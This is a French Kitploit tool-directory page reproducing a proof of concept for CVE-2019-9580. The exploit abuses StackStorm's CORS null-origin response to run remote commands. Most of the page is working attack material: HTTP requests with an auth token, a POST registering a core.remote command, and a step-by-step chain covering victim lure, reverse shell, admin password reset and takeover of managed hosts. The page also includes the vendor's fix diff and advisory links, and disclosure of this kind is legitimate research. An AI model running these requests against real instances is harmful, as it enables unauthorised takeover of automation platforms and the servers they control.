Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-9580 — CVE-2019-9580 - StackStorm: exploiting CORS misconfiguration (null origin) to gain RCE | Kitploit
Outils/GitHubGitHub/mpgn/cve-2019-9580
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubmpgn/cve-2019-9580

CVE-2019-9580

CVE-2019-9580 - StackStorm: exploiting CORS misconfiguration (null origin) to gain RCE

Voir le dépôt
314il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-9580 - StackStorm exploitant l'origine nulle CORS pour obtenir une RCE < 2.9.3 et 2.10.3

Avant 2.10.3/2.9.3, si l'origine de la requête était inconnue, nous renvoyions null. null peut entraîner une requête réussie depuis une origine inconnue chez certains clients. Cela permet la possibilité d'attaques de type XSS contre l'API StackStorm.

découvert par Barak Tawily et Anna Tsibulskaya

Peek 13-03-2019 17-16 (l'utilisateur sur Firefox est la victime, l'utilisateur sur Chrome est l'attaquant)

Preuve de concept

Exploitation de l'origine nulle CORS

En envoyant une requête à l'API StackStorm avec un en-tête Origin nul Origin: null, le serveur répond avec un Access-Control-Allow-Origin à null.

root@kitploit:~
GET /api/v1/executions?action=packs.get_config&limit=5&exclude_attributes=trigger_instance&parent=null HTTP/1.1
Host: localhost:4443
Origin: 443
Referer: https://localhost:4443/
x-auth-token: a19e39b9dff24e4798ba04c7036d0275

Réponse du serveur :

root@kitploit:~
Access-Control-Allow-Origin: null <-- hug hug hug
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Authorization,X-Auth-Token,St2-Api-Key,X-Request-ID
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,X-Limit,X-Total-Count,X-Request-ID

L'exploitation de l'origine nulle CORS est documentée dans un article de blog de PortSwigger et nous pouvons trouver la charge utile suivante :

root@kitploit:~

Mais qu'en est-il de la RCE ?

StackStorm vous permet de configurer des actions et certaines d'entre elles, comme core.remote, exécutent des commandes arbitraires sur l'hôte de votre choix.

image

Donc si nous mettons l'hôte 127.0.0.1, nous exécuterons une commande sur le docker StackStorm. Sympa, la RCE devrait fonctionner puisqu'une simple requête POST est envoyée pour enregistrer une action.

root@kitploit:~
POST /api/v1/executions HTTP/1.1
Host: localhost:4443
Origin: null
Content-Type: application/json
x-auth-token: a19e39b9dff24e4798ba04c7036d0275
Content-Length: 131

{"action":"core.remote","parameters":{"cmd":"touch /tmp/pwn2.txt","hosts":"127.0.0.1","cwd":"/tmp"},"context":{"trace_context":{}}}

Et ensuite ?

Nous pouvons exécuter des commandes sur l'hôte de StackStorm, d'accord, mais prenons le contrôle total de la plateforme StackStorm. Cela peut être fait en réinitialisant le mot de passe de l'administrateur. En utilisant la documentation :

Besoin de changer le mot de passe ? Exécutez : sudo htpasswd /etc/st2/htpasswd st2admin. https://docs.stackstorm.com/authentication.html

Sympa, mettons tout ensemble :

  1. Envoyer un lien à la victime avec une charge utile malveillante qui enregistre une nouvelle action sur l'hôte 127.0.0.1 pour exécuter une commande arbitraire
  2. La victime clique sur le lien et voit le poney
  3. Puisque CORS est nul lorsqu'une requête est envoyée avec l'en-tête Origin: null, la requête POST pour enregistrer la nouvelle action fonctionne (nous définissons également le paramètre credentials: "include")
  4. L'action est déclenchée et la commande exécutée (reverse shell)
  5. L'attaquant réinitialise le mot de passe de l'administrateur et prend le contrôle total de la plateforme StackStorm
  6. L'attaquant peut corrompre tous les autres hôtes enregistrés dans StackStorm

capture d'écran_1

Avis de sécurité :

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://github.com/StackStorm/st2/pull/4577/commits/66605b7b202b8bd2db1ccd8c1ce7279028ac86d4
root@kitploit:~
From 66605b7b202b8bd2db1ccd8c1ce7279028ac86d4 Mon Sep 17 00:00:00 2001
From: bigmstone <[email protected]>
Date: Tue, 5 Mar 2019 12:22:26 -0600
Subject: [PATCH] Fix improper CORS return

Prior to this commit if you sent a request from an origin not listed in
`allowed_origins` we would respond with `null` for the
`Access-Control-Allow-Origin` header. Per
[https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin#Directives](mozilla's documentation)
null should not be used as some clients will allow the request to go
through. This commit returns the first of our allowed origins if the
requesting origin is not a supported origin.
---
 st2api/tests/unit/controllers/v1/test_base.py | 4 ++--
 st2common/st2common/middleware/cors.py        | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/st2api/tests/unit/controllers/v1/test_base.py b/st2api/tests/unit/controllers/v1/test_base.py
index 2a753f22ea..e66148a0a5 100644
--- a/st2api/tests/unit/controllers/v1/test_base.py
+++ b/st2api/tests/unit/controllers/v1/test_base.py
@@ -51,8 +51,8 @@ def test_wrong_origin(self):
             'origin': 'http://xss'
         })
         self.assertEqual(response.status_int, 200)
-        self.assertEqual(response.headers['Access-Control-Allow-Origin'],
-                         'null')
+        self.assertEqual(response.headers.get('Access-Control-Allow-Origin'),
+                        'http://127.0.0.1:3000')
 
     def test_wildcard_origin(self):
         try:
diff --git a/st2common/st2common/middleware/cors.py b/st2common/st2common/middleware/cors.py
index 5781b1a6e7..8cb407b52c 100644
--- a/st2common/st2common/middleware/cors.py
+++ b/st2common/st2common/middleware/cors.py
@@ -66,7 +66,7 @@ def custom_start_response(status, headers, exc_info=None):
                     origin_allowed = origin
                 else:
                     # See http://www.w3.org/TR/cors/#access-control-allow-origin-response-header
-                    origin_allowed = origin if origin in origins else 'null'
+                    origin_allowed = origin if origin in origins else list(origins)[0]
             else:
                 origin_allowed = list(origins)[0]

Ressources:

  • https://stackstorm.com/2019/03/08/stackstorm-2-9-3-2-10-3/
  • https://quitten.github.io/StackStorm/
Télécharger l’outil